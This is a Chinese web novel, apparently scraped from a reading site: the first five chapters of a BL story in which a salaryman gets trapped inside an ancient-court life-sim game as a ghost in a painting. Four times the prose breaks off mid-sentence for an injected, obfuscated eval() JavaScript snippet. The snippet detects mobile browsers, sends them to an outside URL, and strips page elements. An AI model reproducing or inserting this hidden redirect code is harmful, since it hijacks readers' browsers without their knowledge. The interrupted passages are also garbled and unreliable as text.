《BL恋爱游戏模拟器》 1. 轮回之始 ·扉页· 如果世界上有后悔药可以吃的话,那就是回到过去,告诉自己,千万不要点进那个三无游戏!千万不要! 破游戏,毁人生,弯……性向。 命苦!!! 可是真的挺好玩的,怎么办? ———来自唯一玩家的忠告 · 这一切都要从那一天开始说起,很普通也很日常的一天。 祝瑶,一名普通都市白领,年纪不算小,过三关斩五将勉强在大城市扎根,钱不算多,有个小窝,心满意足。 高压的工作下,也总要弥补点。 空闲时间,祝遥喜欢玩点游戏,不过相比竞技类or大世界打怪,他喜欢玩点悠闲的养成+攻略向的rpg。 他觉得这怕是弥补自己的空虚感,拥有、收集能给他某种安全感。 这天,祝遥依旧无聊的搜寻着新出厂的游戏时,不小心在某个小论坛里看到个广告,不禁的点了进去。 “想感受多种多样的结局吗?想体验惊险无重复的游戏吗?想攻略各种任你挑选的自由npc吗?” “一切尽在《古代养成计划》!强烈邀请玩家试玩我们正在开发的新作!保证精彩!保证刺激!保证好玩!” 祝瑶对此评价:雷人。 宣传新游就好好宣传,买个破烂广告页,广告词也是稀巴烂,看起来就像是有钱的土豪为了梦想做游戏。 不过,他还是点了进去,实在是广告的图真心挺好看,审美挺不错的,清新感满满。 祝瑶看着点进的网页,稍稍有些意外,这个破游戏还做了个官网吗? 官网是一幅流动的长图,犹如古代画卷,尤为精美,古风古韵,从巍峨的宫廷到繁盛的市井,一条长河贯穿道路,石桥上叫卖的小摊小贩,人来人往穿梭其中,酒楼和牌坊里各色交易,更远处的郊外有骑马游猎者,亦有绿草茵茵下结伴放风筝……细细观察,各人神态各异,竟是活灵活现。 这……花了多少钱? 这美工实力太强了吧,还真是下足了功夫,可是他之前从没见过这游戏的预约和宣传啊? 祝瑶微惊。 往下看,终于来了个文字简介: 一个是才情无双、要美人不要江山的情种皇帝 一个是心怀天下,愿舍身割肉喂鹰的圣贤首辅 一个是琴剑双绝,双生魂鬼神莫测的邪教之主 …… 朝堂、江湖、后宫三条线 游侠、道士、贤臣、宠妃、皇帝……n个可攻略人物尽你挑选,nnn种精彩结局待你解锁,请玩家尽请期待后续更新! 不提其他,祝瑶真找到了个制作组发的网盘安装包,这个下载是真简陋,他是佩服了这个游戏制作人。 真是……做游戏就是玩的,钱都不收。 败家啊。 祝瑶趁着下载中,看了看官网界面游戏的其他介绍,依旧是强大的美术,角色人物图是真的好看。 第一张是一个古典风格的书房配置,窗檐处站着个男人,一身青衣,宽袍大袖,侧脸轮廓精致俊美,神色冷淡端肃,目光遥望远方秋千处。 秋千上隐隐摇晃着一个少年。 身旁更有一个略高挑的少年推着秋千,帮助着少年荡秋千,荡的高高的。 画风挺别致的,很通透清新的色彩,像是阳光融融照在人面上,很舒适的感觉。 “花了多少钱啊?” 祝瑶唯有这个感想,不得不说这种小制作人约这种质量的稿子简直……土豪没话讲,有钱任性啊。 意外的是,角色宣传图上居然没有角色人物名,更没有cv,除去超高的美工宣传图外,一切都非常的简练,质朴。 “圣贤首辅?架空朝代,攻略养成,有点意思。不过……这宣传图和介绍略有些不一样啊,不够特别突出角色的性格。” 祝瑶浅浅点评了下。 不过这么良心的美术,他还挑剔啥,挑剔是种不好的美德。 他往下翻了翻,第二张是宫廷里的后殿,一个长相俊美,锋芒毕露的玄衣男人批改奏章。 宫殿陈设非常大气低调,这个应当是皇帝的男性角色画的……还挺好看的。 意外的,有点雅痞味,只是被那种深沉和稳重压的近乎没了。 “情种皇帝?” “看着也不像,不过……好歹是个会上朝的皇帝,挺正常的。” 养成rpg还真是……永远都逃不过皇帝这个设定! 就像所有养成游戏里最后都有个嫁给王子结局一样,简直标配!这个制作人还真是横空出世啊! 这种质量,这种画风的游戏,之前都没有宣传吗? 明明放点图肯定都能吸引不少玩家。 不至于在这破论坛打广告,还免费提供下载吧……这有点像是发疯,不想赚钱吗?神经。 第三张意外不同,分为两个场景。 一个是多人场景,头戴摊戏面具的白男人,手握锋利宝剑,踩在高台上舞动,下方则是激动的观众,他们在踊跃、在欢呼,在呐喊……他们的眼底是崇拜、敬仰,仿佛视之为神明。 一个是单人场景,低头坐在柳树下的少年,着着质朴白衣,正在闭目弹琴,两只仙鹤静静停留,无比的宁静。 “琴剑双绝,双生魂?双重人格吗?” 祝瑶观察了下,猜测这是同一个人的少年和青年时期,不然不会合并在一起。 “叮。” 提醒游戏下载好了。 祝瑶还挺意外,这个游戏他下载的时候还挺大的,没想到网速有这么快。 点开安装,亦是无比的快,进入了游戏初始界面,游戏开场终于显示这就是还在更新、正在开发中的游戏。 纯黑的界面,配了一段文字。 【是选择畅游江湖,或是高居庙堂,还是后宫风云……做个闲云隐士,还是江湖游侠,或是清明贤臣,或是独享江山……一切尽在《古代养成日常》!】 祝遥冷酷无情跳过,点了开始游戏。 熟悉的养成r ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540510|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' pg界面。 【开始游戏】【继续游戏】【结束游戏】 安心感满满,嘿嘿,是老父亲养女儿,还是单纯的角色扮演rpg,目前好像看不出来,不过看宣传结局应该蛮多。 就是……为什么如此的简陋,设计没有,风格没有,就纯粹黑白的选项和深黑的背景。 “……” 祝瑶无奈了,简直比文游还简陋,不会钱都花在了官网的图上吧。 唉,下都下了,玩吧。 祝瑶点击了开始游戏,来到创建人物这一步,意外的并没有老父亲养女儿,单纯的选择男/女,并且女性暂且属于封锁中。 这意味着只能选择男性。 祝遥:“?” 等等,这这这……这是女性向?双线角色攻略?目前只上线了男角色?可怕,可怕。 不过,养成rpg多数都是多性向,祝瑶勉强能接受,毕竟也不是没有养女儿打出个和魔女/公主在一起的结局。 难得有这种古代宫廷的养成rpg,不玩……他忍不住。 算了,总比没有新游戏玩好。 [初始人物属性:光明/黑暗] 祝遥看到这个属性选择,两种完全不同的命运吗?有点意思,他顺手存了个档,不过黑暗属于灰色,还不能选。 应该是设计了多周目解锁吧。 游戏存档不多,暂时只有三个档,但有小字提醒通知,存档可随着进入游戏后,依据游戏任务度和探索值不断增加。 祝遥选择了人物初始属性:光明,顺带认真看了下光明属性的简短文字介绍。 [光明属性:友善,天真,高贵,你将拥有一切美好的品质。非常完美的出生,非常优异的家庭。] 光明是指出生好? 黑暗是指出生差? 性格也有差别吗?两个路线,两种偏向,祝瑶得承认这游戏设计的还蛮有意思。 性别,属性。 接下来是人物属性点,有四个可分配的,容貌,智力,悟性、体质。 祝瑶想了下,直接将容貌,智力,悟性等拉到满值,然后习惯性的存了个档,覆盖了前面的属性选择。 至于体质,他觉得这种东西养成日常可以慢慢添加。 【你将投生于这个世界,准备好了吗?】 【是】 祝遥选择了【是】,屏幕依旧是全黑,和所谓的宣传简直完全不一样。 叹气。 果然,钱都花在了约官网图上吗?约那么高大上的长图,游戏界面不搞好点,开场小动画也没有。 祝瑶真不知道怎么说了,简直钱一股劲的乱花,完全没用在刀刃上。 他看着全黑的屏幕,过了一段婴儿的啼哭声,黑白的默片上慢慢吐露出一段文字。 [你出生了。] [你死了。] [恭喜玩家达成结局:出生即死。] ??? 发生了什么?祝遥非常震惊,才刚刚出生就挂了,这什么破游戏。 2. 一周目 祝遥气的点开结局评价。 这款游戏界面有个简单的人生记事本,会记录一些程序自动发展的细节。 祝遥点了进去。 人生大事: [昭化二十一年4月,你于母亲的胎中孕育。] [昭化二十一年6月,你的母亲身为宗室公主,因未婚而育,产生抑郁心理。胎儿体质减1] [昭化二十一年11月,你的母亲闷闷不乐,在意外下差点滑倒,胎儿体质减1] …… [熙平一年2月,经历了政变之后,当朝皇帝新立,你的母亲于深宫中无人相助,只能默默产子。] [熙平一年2月,你出生在一个无名冷宫中,由于先天体质太低,刚刚出生就喘不过气来。你死了。] “???” “昭化、熙平,貌似有点熟……应该是哪个朝代,貌似好像用过……” 祝瑶边看着,边有些想。 不过这个游戏是不是……真不走常规路,不是数值养成吗?体质低点怎么了,可以以后上课啊! 体质属性初始点10点,他选了最低体质2,他也没选1,没选0啊。 “……” 祝瑶不死心,把记事本里再看了遍,体质真的如同他所选的被扣完了2点。 然后,他创建的角色刚出生就死了? 死了? 祝遥翻到结局评价。 人生总结: 这一生,你出身十分完美,可惜无福无运,你承受不住。 你的母亲是受尽宠爱的公主,你的父亲…… 在你刚刚爬出娘胎后的一分钟内,由于体质太差,成功死亡。 祝遥:“……”这死法未免也太过草率。 黑白的界面伴随着灵动悦耳的音乐,重新显露出一行行文字。 【本次游戏已结束,介于玩家触发第一种结局,出生即死,你可以在以下随机奖品中选择其中一项,继承到下一目游戏中。】 【白色玉佩:母亲心情增加2】 【紫色仙药:人品爆发装备,胎儿初始体质加4】 【无名画卷:来自一位不知名人士的一抹思念。用途未知。】 这什么鬼游戏,这么严格的吗? 体质0就挂。 祝遥怀着吐槽,存了个档,选择了紫色仙药,看起来是个不错的道具。 看来人品不错。 回到存档,属性点分配,倔强的他依旧把外貌,智力拉到满格,悟性分了一半给体质。再加上初始仙药,他就不信这次还能死。 开始游戏后,依旧是黑白的屏幕,隐隐略过一些水墨风格画面。 随即,一行文字显露。 [你出生了。] [你死了。] [恭喜玩家再次达成结局:出生即死。] ??? 又死了,什么都没发生,结果还是出生就死了。这什么垃圾游戏。 祝遥气的连忙扒拉出人生记事本,依旧是一段段文字记录了细节。 人生大事: [昭化二十一年4月,你的母亲夜梦星象,有感而孕。帝欣喜,赐雍宫。] [昭化二十一年5月,你的母亲身为宗室公主,却备受宠爱,太后前往住所探望,赏赐黄金万两。一时之间,宫中无人敢置喙。身体里的胎儿发育良好。体质加2] [昭化二十一年7月,帝前往探望,携带一山中方士,方士美言曰:肚中胎儿乃仙家灵胎,聚天地灵气而孕。帝大喜,封方士为官。临走前嘱咐众多,让你的母亲安心养胎。你的母亲虽神色平淡,心情却渐渐转好。胎儿有感,体质加2] …… [昭化二十一年11月,帝崩。诸位皇子争夺帝位,京城动乱不安。你的母亲在太皇太后的帮助下,隐藏于地宫中安胎,以待生产。] …… [熙平一年2月10日,经历了政变之后,当朝皇帝新立。你的母亲于凌晨地宫中生下了你,当天皇城中只见紫气东来,声势浩大。钦天监批语:帝星临世,天下安平。当晚,你在昏睡之中被一侍女掐死。你的母亲醒来后,得知你因误食而死,痛不欲生。] 祝遥:“……” 加了仙药就这结局???这是纯属玩弄玩家是吧。 不信邪的祝遥接着回到存档,接着各种开局游戏。 虽然游戏界面依旧黑白+文字,可他承认他被这个破游戏吸引了,他压根停不下点击开始游戏的手。 他就不信了,好歹也活过1年行不行! 然而,全都是出生就死…… 祝瑶无力了,只能每次查看人生记事本,去看每一次死亡都不太一样的细节,呵呵,文本还挺丰富的。 他已经解锁了捂死,毒死,偷走溺水而死…… n种奇葩死法,只有他想不到,没有不存在,简直神了,简直就是玩家的千百种死法模拟。 不过,死了好多次,祝遥也渐渐知道了剧情背景,大概是他这个开局角色的母亲和皇帝有奸情。 所以,他的角色还是个皇子。 这就是完美出身? 这就是优异家庭? 他没想玩宫斗好不好,他只想玩个轻松日常养成。 祝瑶叹气,按照设定,他的角色是新任皇帝最小的一个弟弟,皇帝其他的兄弟……不好意思,全挂了哈哈哈哈。 这怕是他也会死的原因。 可能单纯新皇帝看不顺眼,其他兄弟都挂了,他的角色也该挂下。 可是,他才刚出生……要不要这么神经,他才1岁都不到,有什么威胁啊,能不能让他好好开个局,让他正常玩个游戏! 一定是新任狗皇帝搞得鬼。 狗皇帝该死该死!!! 祝遥是这么想的。 由于死了太多次,祝遥干脆放弃紫色仙药,选择了赠送的无名画卷道具重新开始。 这一次,意外的不太一样。 他的角色居然活过了一岁。活过了一岁耶!而且这次他的体质只选择了最低存活。 把外貌,智力,悟性通通最高,期间虽有小病,但还算是稳健发展。 祝遥居然被感动了。 这游戏终于不那么坑爹了,终于肯为玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540511|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家考虑了,他承认他被次次虐的bt了,要求越来越低。 看来,他还是有通关的可能的。 可是,很快翻到的这次存活一岁的人生记事无情打破了他的幻想。 [一岁那年,你在冷宫里的床榻上玩耍,不知名的双手捂住了你的口。数分钟后,你被捂死了。你的母亲赶过来时,当场晕倒。数日后,你的母亲携带磨尖了的金簪欲刺新帝,当场被擒拿。] [新帝震怒,斥责你的母亲。你的母亲当场怒骂他蛇蝎心肠,不堪为帝。帝不语,将你的母亲关于冷宫之中。] [夜里,你的母亲生无可恋,走投无路之下,选择悬梁自尽。] [第二日,新帝前来,望见尸体时,默然不语。当晚前往太后宫中,两人不欢而散。] ???? 祝遥看到这个发展惊了,发生了什么。他仔仔细细的研究了一阵子,终于看到了一行小字。 [几日后,太后于宫中点长明灯,请大师做法祈福。] 祝遥:“……” 感情之前那么多次死都是这个老妖婆搞得鬼?特么居然不是皇帝搞得鬼!!! 白白玩了这么久,连一岁都活不过。 这什么垃圾游戏!!!他不玩了!!! 一阵骂骂咧咧后,祝遥气的准备发邮件给制作人时,眼前突然一黑。 不知过去了多久。 祝遥醒来了。 他发现自己来到了一个神秘的空间,他仿佛站在高空之上,俯视着身下人间。 而眼前则是如同游戏界面一样。 有着是全景式的界面,有两块非常大的界面。 一面是二次元可爱风格的地图,顺带有n多小人浮动,一面是极为写实的古代真实场景。 ??? 他特么穿游戏里了。啊哈,这是什么沙雕发展,就那个破游戏。 祝遥默默吐槽。 卡通大屏幕里突然显露出一段文字,顺带一个极为活泼的语音。 【玩家你好,由于你的怨念太大,游戏创作者非常不满,认为你没有好好玩他/她的游戏,完全没有欣赏到这个游戏的精华。】 【所以,你被奖励拥有完美体验游戏的机会。这可是非常非常难得的机会哟!玩家你的幸运值一定爆表了哟!!!】 祝遥:“……”这是狗屎运吧。 想玩萌哒哒养成游戏,养个可爱女儿,治愈人生,偏偏玩的是bl硬核生存攻略rpg,还是丧心病狂的酷爱发刀作品。 游戏作者不做人啊啊啊啊! 就买个好宣传图,发个简陋游戏安装包,诈骗直男玩家穿bl游戏!是不是人啊! 【貌似,不太确定……】 “??” 祝瑶看着大屏幕里显示的黑色文字,觉得很是荒谬。 【玩家不必惊慌,只是玩个游戏嘛!】 【友情提示:唯有打通结局,你才能真正回到现实。加油吧,骚年!】 骚年个鬼,他都大龄社畜了! 滚粗!!! 等他回去后,一定差评,大差评!!! 3. 一周目 在经历了一段时间后,祝遥终于有精力来盘点当前的一切。 经过实验和游戏提醒,祝遥得知:在这个空间内,他不会感到饥饿,年龄不会变化,时间仿佛在此停滞了。 他唯一能够干涉的便是眼前这块无比庞大的游戏界面。 祝遥:“……”离谱了,太离谱了。 游戏界面类似于普通乙女游戏,有角色卡槽,道具包裹,结局档案等。 主界面则有两个大选项。 开始轮回/轮回结束 依据界面的提示,大概是模拟每次游戏开始,当一定的年龄时,玩家会投入所创建的角色之中,真正生活在游戏里,面临着诸多选择,自由度超高。 而玩家的每一次选择都会深深影响着角色的未来,以及最终的结局。 祝遥:“……”我是要玩游戏,而不是让游戏玩我!!! 他才不要去什么游戏世界! 垃圾厂商,迟早倒闭! 祝遥看点开角色图鉴卡,一顺溜过去全是灰色的角色卡,可是居然有个微微点亮了。 ??? 发生了什么,他明明啥也没干,啥都没做,开局无数次,出生即死亡。 这也能增加攻略度,点亮角色卡! 这张角色卡,背景金碧辉煌,闪的亮人,充分显示了土豪金的氛围。 除了那画中着黑色玄衣,显得古朴大气的男人,眉宇间桀骜不驯,微微而视,像一只蠢蠢欲动的野兽,无比专注地凝视他。 祝遥:“……”特么很吓人好不好! 或许是触发攻略度,这次居然显露了角色名。 [赫连辉:当前攻略度1%] [友情提示:你在开局使用了道具无名画卷,触发了无比神秘的缘分,暂定可攻略角色成功被激发哟!此段缘分可查看。] [游戏点评:千里姻缘一线牵。天下之大,无奇不有。正如你与他的相遇,犹如火星撞向地球。一段不为人知的简短缘分,促使他曾对你有过一次心存怜悯。] 赫连辉就是那个狗皇帝的名字? 一次怜悯,就一次。 那就是说,除了使用无名道具那次开局,其他紫色仙药开局挂了还都是这个狗皇帝搞得鬼! 啊啊啊啊! 祝遥·重度图鉴收集爱好者·不打通结局就难受·真的要被气死了。 游戏屏幕显露出一段文字,顺带一个极为活泼的语音。 [玩家不要过度激动哟,制作组已经充分感受到玩家的喜爱啦。为此,特意为玩家制定了一些细节模板,希望玩家踊跃探索游戏,感受制作组满怀热情制作的游戏哟。] [下次再见啦!] 祝遥先是鄙视gm的提醒中的自吹自擂,紧接着愣了一下。 游戏更新版本了?这么神速的制作方,那还挺良心的……呸呸呸,这就是垃圾官方,只会坑他这个玩家! 可恶! 祝遥扒拉了游戏界面,终于发现了一些不一样,所谓的细节不过是被触发的人物卡上出现一个拟化动物。 赫连辉的卡面前,浮现出一只可爱的白色小猫咪。走路一颤一颤的,似乎受了伤,浅蓝色的双瞳显得尤为软萌。 祝遥忍不住戳了一下。 狗皇帝,搞死他那么多次,他也要还回去。哼!哼哼。 随即,祝遥无比冷酷的将勉强站起的小猫咪绊倒,只见小猫咪一声不吭,默默爬起来,在摔到无数次后依旧倔强的尝试爬起。 直到,压根失去体力,只能趴在卡面前。 很可怜的样子。 祝遥默默收回了手,选择蹲下,明明他才是那个真正可怜的人。 他好想念他的外卖。 呜呜呜。 这里他连饥饿都感受不到,太特么的痛苦了。活的清心寡欲似神仙。 他还想念他那存了好几g的漫画。 不知道什么时候,拟人化的小猫爬到了脚边,舔了舔他的手心。 祝遥:“……”好难啊!怎么才能通关回家,这破剧情除了死还是死。 等等,要不试试看查看那个道具带来的缘分,看看能不能找到什么线索。 祝遥拉起小猫,来到角色卡界面,点击查看缘分。 明亮的游戏界面骤然变黑。 祝遥只见界面浅浅浮现一段文字。 [玩家使用道具无名画卷,成功触发隐秘缘分,缘分降临倒计时开始。] [十,九,八……三,二,一,倒计时结束,缘分即将降临。] [玩家请做好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540512|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备。] 祝遥:“……”这么莽的游戏吗?提示说明呢?游戏规则介绍呢? 不等他多想,眼前顿时一黑。 …… …… …… 呼气,吸气,呼气,吸气。 祝遥醒来后,特么发现他又穿了,特么可能还是真的穿进游戏里了。 因为,他每天都能听到宫妃和宫女的私语。 最奇葩的是,他现在处在一幅画里,可能是某个妃子宫殿里悬挂的画。 所谓的道具“无名画卷”,特么还真的朴实无华,真的就是一卷画。 他成了画里的人。 除了每天晚上可以出来活动半小时,其他时间都属于静止状态。 无聊的要发疯的祝遥,只能默默听起了宫女们的八卦。 这也是他确定自己降临游戏世界中的原因。 如今是昭化六年,距离他之前每次开局游戏出生的昭化二十一年还有15年。 也就是说,貌似他创建的角色的母亲刚刚出生没多久。 祝遥:“……” 他这卷画的主人貌似是宫中的一位贵妃,很受如今的皇帝宠爱。甚至,因为久久不孕,皇帝指定让她抚育刚刚丧母的一位小皇子。 宫女们偶尔会小声讨论。 关于那位皇子的出生,按照说法那可真的是一个小可怜。母亲是秀女出生,可侍寝时便遭了皇帝厌恶,谁知道居然还怀了孩子。 孩子生下来后,母亲莫名的精神失常,在一次皇帝前来探望后,惹怒皇帝被打入冷宫。 连带着孩子也在冷宫中生活了三年多。 直到最近,皇帝突发奇想,又开始关注起自己这个不受看中的孩子。 加上贵妃久久无子。 这孩子就被丢给了贵妃。这孩子甚至到现在都没有具体的名字。听完了一堆八卦的祝遥表示,这什么狗比皇帝,简直超级大渣男好不好。 小皇子被送到贵妃宫殿的这日,祝遥可算是明白了道具无名画卷带来的所谓的缘分了。 因为,因为…… 特么那个开局杀他无数次,害他一次一次又一次开局的狗逼皇帝赫连辉。 就是,这个看起来软萌,可爱,人畜无害的小皇子!!! 4. 一周目 那日,小皇子来到宫中时,祝遥本来是在睡觉,后来被吵醒了。 他紧接着一眼望过去,就看到了一条无比明显的红线,不知通往何方。 红线的一端则是自己的腕间。 祝遥尝试扯了下,居然怎么也扯不断。 直到晚上,祝遥偷偷摸摸溜出画中,终于见到红线另一端的人。 那是个孩子,长得特别乖巧,可爱,属于那种现实世界里旁人见到了都要拼命夸的高颜值小孩。 然而祝遥最烦小孩。 而且这个孩子长大后,可是把他创建的角色杀了一次又一次的狗比。 所以,他也只是盯着对方小手腕间的红线,不禁吐槽:特么“千里姻缘一线牵”就是这么个牵法……这也太粗暴了吧!!! 祝遥认为这等同于一般游戏里自动寻路功能。 这算是游戏提示吗? 祝遥有点愁闷,唉,这个游戏怎么玩,怎样叫打通结局? 不会真的要把所有角色都……攻略,打出所有可能的结局吧。 祝遥想着就有点绝望。 这可是实操了,不是纯粹界面玩游戏了。 他性别男,爱好男……呸呸呸,口误,他性别男,爱好女,结果现在让他真身上阵攻略……这简直是地狱模式好不好! 正当他发呆的时候,弱弱传来几声稚嫩的轻问:“你是谁?” “为什么会在这里。” 祝遥呆了下,转头看了下,原本睡熟的孩子睁开了双眼,正凝视着自己。 不是其他人都看不到自己的吗? 这个事情是他前段时间反复实验了许多次的结果。 每到夜晚的放风时刻,他就能飘出画卷,随意走动,犹如鬼魂,毫无实感。 往来的宫女,内侍完全当他不存在,看不见他。 “你是谁?” 听到询问,轻微社恐,特别害怕小孩的……祝遥看了眼人,选择速度飘走了。 他穿过门外,留在了一颗树下。 水边的清池隐隐照出他的身影,白衣如雪,披头散发,脚踝微微悬空。 若是能看见的人,定是以为不知是哪里来的冤魂野鬼。 祝遥有点无奈。 偏偏眼前出现了浮空的游戏操作界面,提醒了一段文字。 [无名画卷:进度5%] 在此之前,进度一直为零,直到今天遇到这个孩子…… 祝遥有点get到这个游戏设计的套路了。 应该只有和关键角色走完剧情,他才能结束这段画中人生,回到游戏大厅。 可是,他现在在正常人眼里就是鬼魂,或者说妖孽好不好。 宫殿内,睁着双眼的孩童,看着眼前空无一物,微微皱眉。 他伸出小手,轻轻在空中抓了一下。 只是梦吗? 作为一个社恐宅男,祝遥接下来的日子自然还是偷偷听墙角。 指望一个宅男成为心机boy,社交能手,上来就能骗到可攻略角色,那不是开玩笑嘛。 反正祝遥不相信自己的能力。 起初,祝遥乐呵呵照常听着小宫女唠嗑,或者私底下聊着宫闺秘事。 他特别喜欢那个专门给贵妃梳头发的小宫女,每次给贵妃梳头时都会讲些市井传闻,以免贵妃觉得无聊,她的嗓音非常好听,每次娓娓道来都是一种别致的享受。 直到,有一天贵妃回来时大发雷霆,原因在于她今天的发冠和其他妃子重合了。而那个梳发的小宫女,被打了好几个板子。 后面的好些天,祝遥都没有见过那个小宫女了。 从那以后,祝遥便收了些心思,只冷眼旁观,把目前所经历的一切当做一个梦。 至于剧情进度,随着时间流逝也在缓缓爬升。 祝遥在画卷里的时间和画卷外的时间是不一样的,虽然不能退出游戏,但是祝遥发现自己是有快速走剧情的方法的。 那就是选择沉睡。 沉睡时间是不定的,每次醒来时体力,状态都会下降些。 这个时候补点月光貌似会好很多。 祝遥觉得这个设计真的很游戏化,差不多是人物属性化了。 而他和赫连辉的第二次见面便是一个夜黑风高的晚上,刚刚从沉睡状态中醒来,准备出来溜达溜达,补点月光的时候。 今晚月色很好。 祝遥整个人飘在他最爱的水池旁边,享受着月光的沐浴,倦怠的身体也渐渐有了点活力。 当然,最满意的是剧情进度居然就爬到60%了。 完美。 祝遥闭上眼,觉得心情好了许多。就在这时,背后传来一声询问。 “你是鬼魂吗?” 祝遥吓了一跳,速度飘离水面,转头一看,居然是一个稍微有点长高了的,有点而陌生的孩子。 当然,手指尾间的红线足以证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540513|170956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明此人为谁。 “当然不是。” 祝遥恶狠狠地飘到他身边,想要吓他一下,压低着声阴沉沉问:“你见过有这么好说话的鬼?鬼可是会吃人的,呵。” 他是真的对这个小孩,或者说攻略角色满心怨怼。 谁想攻略三次元真人,还是个小屁孩。 明明二次元角色才是最完美的,他再也不嫌弃油腻乙游的稀烂剧情了,至少他想嫖的男人,不会出现在现实中,他只要好好享受收集卡片,cg的过程就好了。 口误,口味,他不想嫖男人,他只是爱好这种多结局的养成游戏。 孩子微微睁大眼睛,却停留在原地。 他怔怔看了一会儿,颇为大胆的伸出手触碰祝遥那轻薄如纱的衣角,并没有任何实感。 “你是鬼魂。” 他颇为肯定的说,“母妃说过的,有些人死后会化作鬼魂的。” 不等祝遥反驳,他接着认真问道:“你去过阴间吗?见过我母妃吗?她应该过的挺好的吧。她同我说过,阴间是个好去处。” 祝遥怔住。 这个孩子神色很镇定,神色却有些渴望,仿佛极度渴求一个答案。 还是个孩子吧,他依稀记得自己年幼时也问过类似的话。 “在地底活的好好的呢?也就只有我这种倒霉鬼才会来到阳世间,受尽折磨。” 祝遥想了下,哼了一声,慢悠悠道。 骗小孩还挺好玩的。 祝遥看到这孩子似乎有点安心了,苦中作乐想到。 他本想再说点什么,放风时间却到了,他整个身体散开,随风而逝。 祝遥知道自己这是要重新回到了画卷。 他之所以选择说话,也是实在没办法。 一个人,没有其他人知道,没有交流对象,是能把人逼疯的。 祝遥采取沉睡,也是为了解决这个问题。 唉,也不知道什么才能结束。 祝遥望着上升到70%剧情,心有戚戚,应该就快结束了。 只是,他不清楚的是眼睁睁看着他的身影直接消失,仿若魂飞魄散的场景的孩子陷入许久的沉默,隔了一会儿慢慢地走回去,轻声自问:“是死了吗?不会的,上次也是直接跑了。” “不会死的。” “他已经死了,其他人都看不见。” …… “应当是死了。” “也好。” 5. 一周目 “喂,别哭了。” “……” 佛堂里冷幽幽的,香火的味道刺鼻,难耐,跪地的孩子忽得抬头,直愣愣看向上方,佛像上坐着个人,又或者说飘着个人,白色的衣衫如月色浸伴随着殿内的风飘飘荡荡。 他的眼睛半阖着,明明是懒散的,总有些惬意和自在。 “听见没,小东西。” “那猫儿没死呢。” 祝遥斜着向下看,轻飘飘说。 难得出来溜达,可总有些不省心的事,虽说最近都在画里宅着,别问为啥宅,宅男想躺着还需要理由吗?可宫殿里发生的事总是要飘在耳边,不想听也听的到,贼烦人的,好比这孩子越发的不受待见。 不过是心善,好奇喂了个假山里的猫儿,多少有些照顾,就被数落,甚至说把猫处理,让其关在佛堂里受些教训,思过。 这简直没事找事。 孩子怔怔不语,忽得似是回神,执着地盯着面前的人,或者说鬼魂,“你没死吗?” 祝遥听得一个踉跄,差点没跌下来,不过就算跌下来,也摔不到,他目前整个人就像一张纸一样轻薄。 啊啊啊,这和真死了当鬼有什么区别! 打住! 不准想! 我还活着! 祝遥脑海里不断重复,终究把心情平复了些,可语气里依旧带着些哀怨,“谁和你说的,我死了?” 你大爷的。 我还好好活着呢! 祝遥有些鄙夷看了眼人,恨恨离人远了点,看向指尖分明的红线,他内心呸了句,果然不是什么好东西。 长大后更不是东西,害他死到这个鬼地方。 “我以为……你死了。” 不会再出现了,像母妃一样,再也看不见了。 孩子压住了嘴间的话,眼睛里有些落寞,转而扬了起来,直盯着人,似是好奇,似是开怀,他很认真看着这不知名的鬼。 祝遥被盯着有些不自在,呵了句,“小鬼,看什么看,没看过鬼吗?” “你好看。” 孩子直白地说。 祝遥愣了下,佛像的反光映照着,空无一人,他看不到自己,他此时与整个世界是抽离的,平行的。 他能看到,能摸到,可世间万物留不下他的印记。 若不是不断上涨到85%的剧情提示条,提醒着他还是有机会回去的,祝遥会觉得他这波像是与世界隔离,简直活在大气层。 “……” “真的?” 祝遥倒有些好奇了,像是游戏里总要关注创建人物的建模一样,他倒是有些好奇自己长什么样了,就他看来,眼前这孩子就已经很好看了,完全可以作为童星出道的好看。 祝遥飘了下来,蹲身细细瞧看,这小孩长得是真的格外好看,眉眼轮廓自带贵气,似是有些长开了,神情略显倔强。 